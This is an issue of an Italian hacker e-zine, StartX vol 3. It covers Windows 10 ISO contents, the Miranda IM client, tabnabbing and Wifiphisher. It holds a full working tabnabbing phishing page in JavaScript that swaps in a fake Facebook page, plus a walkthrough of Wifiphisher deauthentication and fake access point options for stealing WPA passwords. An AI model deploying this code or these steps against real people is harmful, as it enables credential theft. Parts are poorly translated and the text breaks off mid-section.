StartX vol 3
Transcript
StartX vol 3
Siate liberi Bentornati a leggere StartX, vi starete chiedendo perché non e uscita nei scorsi mesi la rivista, purtroppo non sempre si ha la possibilità di scrivere.... Perciò questo speciale StartX sarà ricchissimo di contenuti, perché la redazione di StartX recupererà ciò che non e stato scritto in questi ultimi 3 mesi, buona lettura Cose successo ultimamente? Ultimamente sono successe tante cose, dal' uscita del iphone 6 la messa online del sito della pyrossoftware, la sospensione di italianhack l'uscita di windows 10, ai ultimi attacchi informatici e i relativi arresti i bianchi vanno a scuola dove gli insegnano come diventare persone importanti, e tutti fanno cosa vien loro detto di fare e nessuno vuole finire in prigione! Cit. The clash -White Riot INDICE -Windows 10 yes/no E uscito di recente il nuovo windows 9, ops volevo dire 10, ma perché si chiama 10? cosa di nuovo? -mirand IM -tabnabbing si va a pesca Quante volte aprite miriadi di schede nel vostro browser, e vi ritrovate la pagina facebook di login, mah non avevate acceduto prima? -Ps4 webkit exploit Finalmente gli hacker bucano la ps4! -Keylogger che passione -I vip tremavano con icloud Sei un vip? Sei una modella? Carichi le tue foto xxx su icloud? Molto bene, datto che ci sei carica anche un bel video, cosi poi lo si condivido tramite i tracker torrent -riflessioni sulla psicologia hacker Windows 10 yes/no? Windows 10, dalle prime immagini sembra che la casa microsoft abbia corretto la rotta presa con windows 8, e stato rimesso il menu start, pero non tornerà allo stile windows 7, sara piu che altro un ibrido tra windows 7 e 8, microsoft ha gia annunciato che sarà pienamente personalizzabile E stato migliorato anche il multi tasking, con la funzione task view che permetterà di visualizzare i vostri desktop attivi contemporaneamente, anche Aero Snap ritorna sulla piazza rinnovato, permettendo ora di prellevare screenshot da quattro finestre contemporaneamente. Microsoft ha anche annuciato che il passaggio da windows 8 a windows 10, non come il passaggio tra windows 7 a 8 Andiamo ora ad esplorare dentro l' iso, aprendola si notano subito 4 cartelle 3 file ed 1 eseguibile. Tra queste cartelli si trova efi (cartella che contiene il nostro amato uefi boot) dentro la cartella boot, si trova la cartella dei font, ed gli applicativi di boot, ed gestione memoria Passiamo ora alla cartella piu succulenta, la cartella nominata sources Essa contiena tutte le dll fondamentali del sistema tra le cartelle che sono dentro sources troviamo: dimanifests,en-us, etwproviders,inf,migration, replacementmanifest , sxs ed per finire le cartelle vistsa e XP cartelle vista e XP? Cosa ci fa vista in windows 10, mah sopratutto cosa ci fa XP tutte e due le cartelle contengono un solo file chiamato: webservices.dll *(apri dll) Bene incominciamo a smontare la dll webservices aprendolo si vede questo: andando avanti troviamo anche: “ Fatal internal error, ReasonCode: 0x%08x Fa t a l API u s a g e e rr o r , Re as o n C o d e: 0 x % 0 8 x NULL t.com/ws/2006/02/transactionssFaultMustUnderstandrolerelayCodeReasonTextNodeRoleDetailValueSubcodeNotUnderstoodqnameFromFaultToEndp ointReferencePortTypeServiceNamePortNameReferencePropertiesRelationshipTypeReplyahttp://schemas.xmlsoap.org/ws/2006/02/addressingidentity IdentitySpnUpnRsaDnsX509v3Certificatehttp://www.w3.org/2005/08/addressing/faultReferenceParametersIsReferenceParameterhttp://www.w3.org/ 2005/08/addressing/replyhttp://www.w3.org/2005/08/addressing/noneMetadatahttp://schemas.xmlsoap.org/ws/2004/08/addressinghttp://schemas.xmls oap.org/ws/2004/08/addressing/role/anonymoushttp://schemas.xmlsoap.org/ws/2004/08/addressing/faulthttp://schemas.xmlsoap.org/ws/2004/06/addr essingexRedirectToViahttp://www.w3.org/2001/10/xml-excc14n#PrefixListInclusiveNamespacesecSecurityContextTokenGenerationLabelOffsetPropertiesCookiewschttp://schemas.xmlsoap.org/ws/2004/04/sch ttp://schemas.xmlsoap.org/ws/2004/04/security/sc/dkhttp://schemas.xmlsoap.org/ws/2004/04/security/sc/scthttp://schemas.xmlsoap.org/ws/2004/04/se curity/trust/RST/SCThttp://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCTRenewNeededBadContextTokenchttp://schemas.xmlsoap.org/ ws/2005/02/sc/dkhttp://schemas.xmlsoap.org/ws/2005/02/sc/scthttp://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCThttp://schemas.xmlsoap.org/ws /2005/02/trust/RSTR/SCThttp://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renewhttp://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Re newhttp://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancelhttp://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancelhttp://www.w3.or g/2001/04/xmlenc#aes128-cbchttp://www.w3.org/2001/04/xmlenc#kw-aes128http://www.w3.org/2001/04/xmlenc#aes192cbchttp://www.w3.org/2001/04/xmlenc#kw-aes192http://www.w3.org/2001/04/xmlenc#aes256-cbchttp://www.w3.org/2001/04/xmlenc#kwaes256http://www.w3.org/2001/04/xmlenc#des-cbchttp://www.w3.org/2000/09/xmldsig#dsa-sha1http://www.w3.org/2001/10/xml-excc14n#WithCommentshttp://www.w3.org/2000/09/xmldsig#hmac-sha1http://www.w3.org/2001/04/xmldsig-more#hmacsha256http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1http://www.w3.org/2001/04/xmlenc#ripemd160http://www.w3.org/2001/04/xmlenc#rsaoaep-mgf1phttp://www.w3.org/2000/09/xmldsig#rsa-sha1http://www.w3.org/2001/04/xmldsig-more#rsasha256http://www.w3.org/2001/04/xmlenc#rsa1_5http://www.w3.org/2000/09/xmldsig#sha1http://www.w3.org/2001/04/xmlenc#sha256http://www.w3.org/2001/04/xmlenc#sha512http://www.w3. org/2001/04/xmlenc#tripledes-cbchttp://www.w3.org/2001/04/xmlenc#kwtripledeshttp://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wraphttp://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wraphttp://schemas.mi crosoft.com/ws/2006/05/securitydnseoPasswordPasswordTextUsernameUsernameTokenBinarySecurityTokenEncodingTypeKeyIdentifierhttp://docs.o asis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binaryhttp://docs.oasis-open.org/wss/2004/01/oasis-200401-wsssoap-message-security-1.0#HexBinaryhttp://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Texthttp://docs.oasisopen.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentifierhttp://docs.oasis-open.org/wss/oasis-wss-kerberos-tokenprofile-1.1#GSS_Kerberosv5_AP_REQhttp://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile1.1#GSS_Kerberosv5_AP_REQ1510http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile1.0#SAMLAssertionIDAssertionurn:oasis:names:tc:SAML:1.0:assertionhttp://docs.oasis-open.org/wss/oasis-wss-rel-token-profile1.0.pdf#licenseFailedAuthenticationInvalidSecurityTokenInvalidSecuritykSignatureConfirmationTokenTypehttp://docs.oasis-open.org/wss/oasis-wsssoap-message-security-1.1#ThumbprintSHA1http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeyhttp://docs.oasisopen.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile1.1#SAMLV1.1http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0http://docs.oasis-open.org/wss/oasis-wss-saml-tokenprofile-1.1#SAMLIDAUTHHASHRequestSecurityTokenResponseKeySizeRequestedTokenReferenceAppliesToAuthenticatorCombinedHashBinaryExchangeLifetimeRequested SecurityTokenEntropyRequestedProofTokenComputedKeyRequestSecurityTokenRequestTypeContextBinarySecrethttp://schemas.xmlsoap.org/ws/20 05/02/trust/spnego http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnegowsthttp://schemas.xmlsoap.org/ws/2004/04/trusthttp://schemas.xmlsoap.org/ws/2004/04/security/ trust/RST/Issuehttp://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issuehttp://schemas.xmlsoap.org/ws/2004/04/security/trust/Issuehttp://sc hemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKeyhttp://schemas.xmlsoa p.org/ws/2004/04/security/trust/NonceKeyTypehttp://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKeyhttp://schemas.xmlsoap.org/ws/2004/04/tr ust/PublicKeyClaimsInvalidRequestRequestFailedSignWithEncryptWithEncryptionAlgorithmCanonicalizationAlgorith mComputedKeyAlgorithmUseKeyhttp://schemas.microsoft.com/net/2004/07/secext/WSSPNegohttp://schemas.microsoft.com/net/2004/07/secext/TLSNegothttp://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issuehttp://schemas.xmlsoap.o rg/ws/2005/02/trust/RSTR/Issuehttp://schemas.xmlsoap.org/ws/2005/02/trust/Issuehttp://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKeyhttp:// schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1http://schemas.xmlsoap.org/ws/2005/02/trust/NonceRenewTargetCancelTargetRequestedTokenCa ncelledRequestedAttachedReferenceRequestedUnattachedReferenceIssuedTokenshttp://schemas.xmlsoap.org/ws/2005/02/trust/Renewhttp://schemas. xmlsoap.org/ws/2005/02/trust/Cancelhttp://schemas.xmlsoap.org/ws/2005/02/trust/PublicKeyAccessAccessDecisionAdviceAssertionIDAssertionIDR eferenceAttributeAttributeNameAttributeNamespaceAttributeStatementAttributeValueAudienceAudienceRestrictionConditionAuthenticationInstantA uthenticationMethodAuthenticationStatementAuthorityBindingAuthorityKindAuthorizationDecisionStatementBindingConditionConditionsDecision DoNotCacheConditionEvidenceIssueInstantIssuerLocationMajorVersionMinorVersionNameIdentifierFormatNameQualifierNamespaceNotBeforeNot OnOrAftersamlStatementSubjectSubjectConfirmationSubjectConfirmationDataConfirmationMethodurn:oasis:names:tc:SAML:1.0:cm:holder-ofkeyurn:oasis:names:tc:SAML:1.0:cm:sendervouchesSubjectLocalityDNSAddressIPAddressSubjectStatementurn:oasis:names:tc:SAML:1.0:am:unspecifiedxmlnsResourceUserNameurn:oasis:na mes:tc:SAML:1.1:nameid-format:WindowsDomainQualifiedNameEmailNameurn:oasis:names:tc:SAML:1.1:nameidformat:emailAddressuChannelInstancehttp://schemas.microsoft.com/ws/2005/02/duplexEncodingMimeTypeCarriedKeyNameRecipientEncryptedKe yKeyReferenceehttp://www.w3.org/2001/04/xmlenc#Elementhttp://www.w3.org/2001/04/xmlenc#ContentKeyNameMgmtDataKeyValueRSAKeyVal ueModulusExponentX509DataX509IssuerSerialX509IssuerNameX509SerialNumberX509CertificateAckRequestedhttp://schemas.xmlsoap.org/ws/20 05/02/rm/AckRequestedAcksToAcceptCreateSequencehttp://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceCreateSequenceRefusedCreateSeq uenceResponsehttp://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponseFaultCodeInvalidAcknowledgementLastMessagehttp://schemas. xmlsoap.org/ws/2005/02/rm/LastMessageLastMessageNumberExceededMessageNumberRolloverNacknetrmOfferrSequenceFaultSequenceTerminate dTerminateSequencehttp://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequenceUnknownSequencehttp://schemas.microsoft.com/ws/2006/02/tx/o letxoletxOleTxTransactionPropagationTokenhttp://schemas.xmlsoap.org/ws/2004/10/wscoorwscoorCreateCoordinationContextCreateCoordinationCo ntextResponseCoordinationContextCurrentContextCoordinationTypeRegistrationServiceRegisterRegisterResponseProtocolIdentifierCoordinatorProt ocolServiceParticipantProtocolServicehttp://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContexthttp://schemas.xmlsoap.org/ws/200 4/10/wscoor/CreateCoordinationContextResponsehttp://schemas.xmlsoap.org/ws/2004/10/wscoor/Registerhttp://schemas.xmlsoap.org/ws/2004/10/ws coor/RegisterResponsehttp://schemas.xmlsoap.org/ws/2004/10/wscoor/faultActivationCoordinatorPortTypeRegistrationCoordinatorPortTypeInvalidSt ateInvalidProtocolInvalidParametersNoActivityContextRefusedAlreadyRegisteredhttp://schemas.xmlsoap.org/ws/2004/10/wsatwsathttp://schemas.x mlsoap.org/ws/2004/10/wsat/Completionhttp://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PChttp://schemas.xmlsoap.org/ws/2004/10/w sat/Volatile2PCPreparePreparedReadOnlyCommitRollbackCommittedAbortedReplayhttp://schemas.xmlsoap.org/ws/2004/10/wsat/Commithttp://sche mas.xmlsoap.org/ws/2004/10/wsat/Rollbackhttp://schemas.xmlsoap.org/ws/2004/10/wsat/Committedhttp://schemas.xmlsoap.org/ws/2004/10/wsat/Ab ortedhttp://schemas.xmlsoap.org/ws/2004/10/wsat/Preparehttp://schemas.xmlsoap.org/ws/2004/10/wsat/Preparedhttp://schemas.xmlsoap.org/ws/2004/ 10/wsat/ReadOnlyhttp://schemas.xmlsoap.org/ws/2004/10/wsat/Replayhttp://schemas.xmlsoap.org/ws/2004/10/wsat/faultCompletionCoordinatorPort TypeCompletionParticipantPortTypeCoordinatorPortTypeParticipantPortTypeInconsistentInternalStatemstxEnlistmentprotocolLocalTransactionIdIsol ationLevelIsolationFlagsDescriptionLoopbackRegisterInfoContextIdTokenIdAccessDeniedInvalidPolicyCoordinatorRegistrationFailedTooManyEnlis tmentsDisabledActivityIdhttp://schemas.microsoft.com/2004/09/ServiceModel/Diagnosticshttp://docs.oasis-open.org/wss/oasis-wss-kerberos-tokenprofile1.1#Kerberosv5APREQSHA1http://schemas.xmlsoap.org/ws/2002/12/policyFloodMessageLinkUtilityHopshttp://schemas.microsoft.com/net/2006/0 5/peer/HopCountPeerViahttp://schemas.microsoft.com/net/2006/05/peerPeerFlooderPeerTohttp://schemas.microsoft.com/ws/2005/05/routingPacketR outablehttp://schemas.microsoft.com/ws/2005/05/addressing/nonehttp://schemas.microsoft.com/ws/2005/05/envelope/nonehttp://www.w3.org/2001/X MLSchemainstancehttp://www.w3.org/2001/XMLSchemaniltypecharbooleanbyteunsignedByteshortunsignedShortintunsignedIntlongunsignedLongfloatdoublede cimaldateTimestringbase64BinaryanyTypedurationguidanyURIQNametimedatehexBinarygYearMonthgYeargMonthDaygDaygMonthintegerpositiveI ntegernegativeIntegernonPositiveIntegernonNegativeIntegernormalizedStringConnectionLimitReachedhttp://schemas.xmlsoap.org/soap/envelope/act orfaultcodefaultstringfaultactordetail “ ora andiamo ad aprire il file \sources\inf\setup.cfg al suo interno leggiamo: [SetupFiles] actionqueue.dll adfscomp.dll admtv3check.dll alert.gif api-ms-win-downlevel-advapi32-l1-1-0.dll api-ms-win-downlevel-advapi32-l1-1-1.dll api-ms-win-downlevel-advapi32-l2-1-0.dll api-ms-win-downlevel-advapi32-l2-1-1.dll api-ms-win-downlevel-advapi32-l3-1-0.dll api-ms-win-downlevel-advapi32-l4-1-0.dll api-ms-win-downlevel-kernel32-l1-1-0.dll api-ms-win-downlevel-kernel32-l2-1-0.dll api-ms-win-downlevel-ole32-l1-1-0.dll api-ms-win-downlevel-ole32-l1-1-1.dll api-ms-win-downlevel-shlwapi-l1-1-0.dll api-ms-win-downlevel-shlwapi-l1-1-1.dll api-ms-win-downlevel-user32-l1-1-0.dll api-ms-win-downlevel-user32-l1-1-1.dll api-ms-win-downlevel-version-l1-1-0.dll appcompat.xsl appcompat_detailed.xsl appcompat_bidi.xsl appcompat_detailed_bidi.xsl appcompat_detailed_txt.xsl appcompat_detailed_bidi_txt.xsl appraiser.sdb autounattend.xml clustercompliance.dll cmisetup.dll cmiv2.dll compliance.ini compres.dll coverage.dll cversion.ini diager.dll diagnostic.dll drvmgrtn.dll du.dll fveupg.dll hwcompat.dll hwcompat.txt hwexclude.txt hypervcomplcheck.dll iiscomp.dll input.dll itgtupg.dll lang.ini license.rtf locale.nls migisol.dll migtestplugin.dll ndiscompl.dll nlsbres.dll noupgrade.txt ntdsupg.dll ntfrsupg.dll pidgenx.dll pkeyconfig.xrm-ms pnpibs.dll product.ini rdsupgcheck.dll rmsupg.dll schema.dat sdbapiu.dll segoeui.ttf setup.cfg setup.exe shdocvw.dll smiengine.dll spflvrnt.dll spprgrss.dll spwizeng.dll spwizimg.dll spwizres.dll sqmapi.dll testplugin.dll uddicomp.dll unattend.dll unbcl.dll migres.dll migcore.dll migstore.dll upgcompat.inf upgdriver.dll upgloader.dll upgreport.dll uxlib.dll uxlibres.dll vofflps.rtf w32uiimg.dll w32uires.dll warning.gif wdsclient.dll wdsclientapi.dll wdscore.dll wdsupgcompl.dll wdsutil.dll win32ui.dll winsetup.dll wmicmiplugin.dll xmllite.dll [SetupFolders] ??-??\ inf\ Migration\ [ConXSetupFiles] acres.dll api-ms-win-core-apiquery-l1-1-0.dll api-ms-win-downlevel-advapi32-l1-1-0.dll api-ms-win-downlevel-advapi32-l1-1-1.dll api-ms-win-downlevel-advapi32-l2-1-0.dll api-ms-win-downlevel-advapi32-l2-1-1.dll api-ms-win-downlevel-advapi32-l3-1-0.dll api-ms-win-downlevel-advapi32-l4-1-0.dll api-ms-win-downlevel-kernel32-l1-1-0.dll api-ms-win-downlevel-kernel32-l2-1-0.dll api-ms-win-downlevel-ole32-l1-1-0.dll api-ms-win-downlevel-ole32-l1-1-1.dll api-ms-win-downlevel-shlwapi-l1-1-0.dll api-ms-win-downlevel-shlwapi-l1-1-1.dll api-ms-win-downlevel-user32-l1-1-0.dll api-ms-win-downlevel-user32-l1-1-1.dll api-ms-win-downlevel-version-l1-1-0.dll appraiser.dll appraiser.sdb cmi2migxml.dll compatctrl.dll compatprovider.dll compatResources.dll csiagent.dll cversion.ini db_MSFTproductionWindowsSigningCA.cer diager.dll diagnostic.dll diagtrack.dll diagtrackrunner.exe dismapi.dll dismcore.dll dismcoreps.dll dismprov.dll drvmgrtn.dll du.dll ext-ms-win-advapi32-encryptedfile-l1-1-0.dll folderprovider.dll globalinstallorder.xml hwcompat.dll hwcompat.txt hwcompatPE.txt hwexclude.txt hwexcludePE.txt imagingprovider.dll Install.exe InstallPrep.exe lang.ini license.rtf logprovider.dll mxeagent.dll migapp.xml migcore.dll mighost.exe migisol.dll migres.dll migstore.dll migsys.dll noupgrade.txt offline.xml oscomps.xml oscomps.woa.xml osfilter.inf OutOfBox_Windows_db.bin pid.txt pidgenx.dll pkeyconfig.xrm-ms PostRollback.exe nxquery.inf nxquery.sys reagent.admx reagent.dll reagent.xml reportgen.dll sdbapiu.dll setupcompat.dll setupplatform.cfg setupplatform.dll setupplatform.exe setupresume.exe sflistw7.dat sflistw8.dat sflistw8.woa.dat sflistwb.dat sflistwb.woa.dat sfcn.dat sflcid.dat sfpat.inf sfpatpg.inf sfpatw7.inf sfpatw8.inf sfpatwb.inf spwizimg.dll sqmapi.dll testplugin.dll unattend.dll unbcl.dll upgcompat.inf upgrade_bulk.xml upgrade_data.xml upgrade_frmwrk.xml upgradeagent.dll upgradeagent.xml upgWow_bulk.xml vhdprovider.dll wdsclientapi.dll wdscore.dll wdscsl.dll wdsimage.dll wdsutil.dll wdstptc.dll wimprovider.dll wpx.dll xmllite.dll [ConXSetupFolders] *-*\ dlmanifests replacementmanifests\ Vista\ XP\ Migration\ [Setup360Files] api-ms-win-core-apiquery-l1-1-0.dll api-ms-win-downlevel-advapi32-l1-1-0.dll api-ms-win-downlevel-advapi32-l1-1-1.dll api-ms-win-downlevel-advapi32-l2-1-0.dll api-ms-win-downlevel-advapi32-l2-1-1.dll api-ms-win-downlevel-advapi32-l3-1-0.dll api-ms-win-downlevel-advapi32-l4-1-0.dll api-ms-win-downlevel-kernel32-l1-1-0.dll api-ms-win-downlevel-kernel32-l2-1-0.dll api-ms-win-downlevel-ole32-l1-1-0.dll api-ms-win-downlevel-ole32-l1-1-1.dll api-ms-win-downlevel-shlwapi-l1-1-0.dll api-ms-win-downlevel-shlwapi-l1-1-1.dll api-ms-win-downlevel-user32-l1-1-0.dll api-ms-win-downlevel-user32-l1-1-1.dll api-ms-win-downlevel-version-l1-1-0.dll diager.dll diagnostic.dll diagtrack.dll diagtrackrunner.exe du.dll ext-ms-win-advapi32-encryptedfile-l1-1-0.dll lang.ini MediaSetupUiMgr.dll reagent.admx reagent.dll reagent.xml SetupCore.dll SetupHost.exe SetupMgr.dll setupplatform.cfg setupplatform.dll setupplatform.exe sqmapi.dll unattend.dll unbcl.dll wdsclientapi.dll wdscore.dll wdscsl.dll wdsimage.dll wdstptc.dll wdsutil.dll WinDlp.dll wpx.dll Interessante anche il contenuto della cartella \sources\migration\wtr al cui interno troviamo il file adminpack_en-us.inf in cui interno troviamo: [WTR] Name="Administration Pack for IIS 7.0" Name="Pack d'administration IIS 7.0" Name="Administration Pack para IIS 7.0" Name="Administration Pack für IIS 7.0" [WTR.W8] NotifyUser="No" [System.File] "%SystemDrive%\Windows\Migration\WTR\ [MSIISAdminPack70.inf]" [System.Gac] "[Microsoft.Web.Management.AdminPack.Client,*]" "[Microsoft.Web.Management.AdminPack.Server,*]" "[Microsoft.Web.Management.AdminPack.Client.resources,*]" "[Microsoft.Web.Management.AdminPack.Server.resources,*]" [System.Registry] "HKLM\SOFTWARE\Microsoft\IIS Extensions\AdminPack\* [*]" Troviamo anche il file adobe_flash [WTR] Name="Adobe Flash for Windows" [WTR.W8] NotifyUser="No" [System.File] "%windir%\System32\Macromed\Flash\* [*.ocx]" "%windir%\System32\Macromed\Flash\* [*activex*]" "%windir%\SysWow64\Macromed\Flash\* [*.ocx]" "%windir%\SysWow64\Macromed\Flash\* [*activex*]" [System.Registry] "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Adobe Flash Player ActiveX\* [*]" "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\ Uninstall\Adobe Flash Player ActiveX\* [*]" "HKLM\SOFTWARE\Macromedia\FlashPlayerActiveX\* [*]" "HKLM\SOFTWARE\Wow6432Node\Macromedia\FlashPlayerActiveX\* [*]" "HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\[*]" "HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\ [*]" "HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\ [*]" "HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\ [*]" Quindi tirando le somme..... e ancora troppo presto per giudicare windows 10, sicuramente prima o poi windows 10 ritornera su StartX, perche noi ci fidiamo di microsoft [by afr0] miranda im Cose miranda ??? miranda e un instant messanger, open source (GNU GPL) Che protocolli supporta miranda? – – – – – – – – – – – – – – – – – – – – – – AIM Battle.net Boujour C6 XMPP Google talk Facebook Fetion Gadu-Gadu ICQ IAX IRC MSN QQ Skype Spinchat Tlen Twitter Vkontakte Walla Xfire Yahoo Miranda sembra davvero interessante, mah sul lato plugin? Miranda e conosciuto per avere centinaia di plugin, basti guardare la sezzione addons presente nel menu del sito, non solo anche gli stessi plugin sono multilingua Si ma sicuramente questo software andra ad occupare molto spazzio sul mio Hard Disk!? No miranda e conosciuto per essere un software leggero al tal punto da poter essere tenuto in una usb, in piu miaranda e estremamente flessibile cio vuol dire che la potrai personalizzare a tuo piacimento E invece per usarlo devo leggere un manuale? Anche in questo caso la risposta e no, e un software di facilissimo utilizzo, basti pensare che la maggior parte dei plugin si installano semplicemente copiando il plugin.dll e incollarlo nella cartella Plugins Questi sono alcuni screen di miranda im [by afr0] tabnabbing, si ritorna a pesca Il tabnabbing e una tecnica di phishing intelligente. L'internauta moderno ormai e abituato ad aprire piu tab (pagine) il tabnabbing non fa altro che sfruttatere questa abitudine per prellevare Come funziona? Si fa prire un link alla vittima, e fin qui e un classico. Una volta fatto cio la pagina cambia d'aspetto nel momento in cui l'utente la lascera aperta per visitarne un 'altro tab . Il nuovo aspetto sara in tutto e per tutto uguale a quello di una pagina d'acesso ad i servizzi in cui vengono richiesti username e password. L'a vittima infatti tornando sul tab non ricordera che prima era un altra pagina e lascera piu volentieri i suoi dati in mano al pirata Esempio pratico Qui di sotto e riportato un semplice esempio, la pagina originale e google andando il altri tab per un po di tempo la pagina diventa una pagina facebook <html> <head> <title> </title> </head> <style type="text/css"> html {overflow: auto;} html, body, div, iframe {margin: 0px; padding: 0px; height: 100%; border: none;} iframe {display: block; width: 100%; border: none; overflow-y: auto; overflow-x: hidden;} </style> <body> <script type="text/javascript"> //----------Set Script Options-------------var REAL_PAGE_URL = "http://www.google.com/"; var REAL_PAGE_TITLE = "Google"; var FAKE_PAGE_URL = "http://www.facebook.com"; var FAKE_PAGE_TITLE = "Hacked"; var REAL_FAVICON = "http://www.google.com/favicon.ico"; var FAKE_FAVICON = "http://www.facebook.com/favicon.ico"; var TIME_TO_SWITCH_IE = "4000"; var TIME_TO_SWITCH_OTHERS = "10000"; //---------------End Options----------------var TIMER = null; var SWITCHED = "false"; var BROWSER_TYPE = ""; if(/MSIE (\d\.\d+);/.test(navigator.userAgent)){ BROWSER_TYPE = "Internet Explorer"; } document.title=REAL_PAGE_TITLE; if(REAL_FAVICON){ var link = document.createElement('link'); link.type = 'image/x-icon'; link.rel = 'shortcut icon'; link.href = REAL_FAVICON; document.getElementsByTagName('head')[0].appendChild(link); } var el_tabnab = document.createElement("iframe"); el_tabnab.id="tabnab"; el_tabnab.name="tabnab"; document.body.appendChild(el_tabnab); el_tabnab.setAttribute('src', REAL_PAGE_URL); el_tabnab.focus(); if(BROWSER_TYPE=="Internet Explorer"){ //To unblur the tab changes in Internet Web browser el_tabnab.onblur = function(){ TIMER = setTimeout(TabNabIt, TIME_TO_SWITCH_IE); } el_tabnab.onfocus= function(){ if(TIMER) clearTimeout(TIMER); } } else { setTimeout(TabNabIt, TIME_TO_SWITCH_OTHERS); } function TabNabIt(){ if(SWITCHED == "false"){ el_tabnab.src=FAKE_PAGE_URL; FAKE_PAGE_FAVICON if(FAKE_PAGE_TITLE) document.title = FAKE_PAGE_TITLE; if(BROWSER_TYPE != "Internet Explorer"){ var links = document.getElementsByTagName("head")[0].getElementsByTagName("link"); for (var i=0; i<links.length; i++) { var looplink = links[i]; if (looplink.type=="image/x-icon" && looplink.rel=="shortcut icon") { document.getElementsByTagName("head")[0].removeChild(looplink); } } var link = document.createElement("link"); link.type = "image/x-icon"; link.rel = "shortcut icon"; link.href = FAKE_FAVICON; document.getElementsByTagName("head")[0].appendChild(link); } } } </script> </body> </html> Come proteggersi? Un buon metodo sarebbe usare massimo 3 tab alla volta, e quando si naviga disconettersi dagli account in uso mah in alternativa per i piu sbadati che usano firefox c'e un estensione chiamata: Noscript, e un estentione blocca sia gli attacchi basati su javascript sia quelli perpetrati senza l'uso di script, sfruttando il meta refresh, impedendo ai tab inattivi di modificare l'indirizzo della pagina Web. [by afr0] SI PESCA ANCHE NEL WIRELESS Se pensavate che si potesse pescare solo password online vi sbagliate! Ebbene si esiste un software per fare degli attacchi di phishing per rubare le pasword wifi con un semplice trucco di social engieniering Ma andiamo a parlare di wifiphish, Wifiphisher è uno strumento di sicurezza che monta attacchi di phishing veloce automatici contro le reti WiFi per ottenere passphrase segreti e altre credenziali. Si tratta di un attacco di ingegneria sociale che a differenza di altri metodi che non include alcun bruta forzatura. Si tratta di un modo semplice per ottenere le credenziali da portali captive e le pagine di accesso di terzi o WPA / WPA2 passphrase segreti. Wifiphisher funziona su Kali Linux ed è autorizzato sotto la licenza MIT. Dal punto di vista della vittima, l'attacco si avvale in tre fasi: Vittima è deauthenticated dal suo punto di accesso. Wifiphisher marmellate continuamente tutti i dispositivi WiFi del punto di accesso di destinazione nel raggio d'azione inviando pacchetti deauth al cliente dal punto di accesso, al punto di accesso dal client, e per l'indirizzo di broadcast pure. Vittima unisce un punto di accesso rogue. Wifiphisher annusa l'area e le copie delle impostazioni del punto di accesso di destinazione. Si crea quindi un punto di accesso wireless non autorizzato che si modella sul bersaglio. Essa stabilisce inoltre un / server DHCP NAT e inoltra le porte giuste. Di conseguenza, a causa del disturbo, i clienti potranno iniziare a connetterti al punto di accesso rogue. Dopo questa fase, la vittima è MiTMed. Vittima viene servita una pagina-config cercando router realistico. wifiphisher avvale di un server web minimale che risponde a HTTP e HTTPS. Non appena la vittima richiede una pagina da Internet, wifiphisher risponderà con una pagina falsa realistica che richiede le credenziali, ad esempio, uno che chiede la conferma della password WPA a causa di un aggiornamento del firmware del router. Vediamone i comandi da dare una volta che ci si apre il software in questione -m massimo Scegliere il numero massimo di client per deauth. Elenco dei clienti sarà svuotata e ripopolato dopo aver colpito il limite. Esempio: -m 5 -n NOUPDA TE Non cancellare la lista deauth al raggiungimento del (-m) numero massimo di client / AP combo. Deve essere utilizzato in combinazione con -m. Esempio: -m 10 -n -t TimeInter val Scegliere l'intervallo di tempo tra i pacchetti che vengono inviati. Di default è il più velocemente possibile. Se vedete degli errori Scapy come 'spazio di buffer' provare: -t 0,00001 -p pacchetti Scegliete il numero di pacchetti di inviare in ogni raffica deauth. Il valore predefinito è 1; 1 pacchetto al client e 1 pacchetto al AP.Invia 2 pacchetti deauth al cliente e 2 pacchetti deauth alla AP: -p 2 -d directedo nly Salta i pacchetti deauthenticazione l'indirizzo di broadcast dei punti di accesso, e solo li invia al client / coppie AP -a accesspoi nt Inserire l'indirizzo MAC di un punto di accesso specifico target jammingi nterface Scegliere l'interfaccia per incepparsi. Per script predefinito troverà l'interfaccia più potente e inizia modalità monitor su di esso. apinterfac e Scegliere l'interfaccia per il falso AP. Per script predefinito troverà la seconda interfaccia più potente e inizia modalità monitor su di esso. -ji -ai Proviamo a vedere un primo attacco con wifiphisher Targhettiamo un punto di acesso Alla vittima apparira questo E se l'attacco avra sucesso noi otteremo questo [by afr0] WebKit 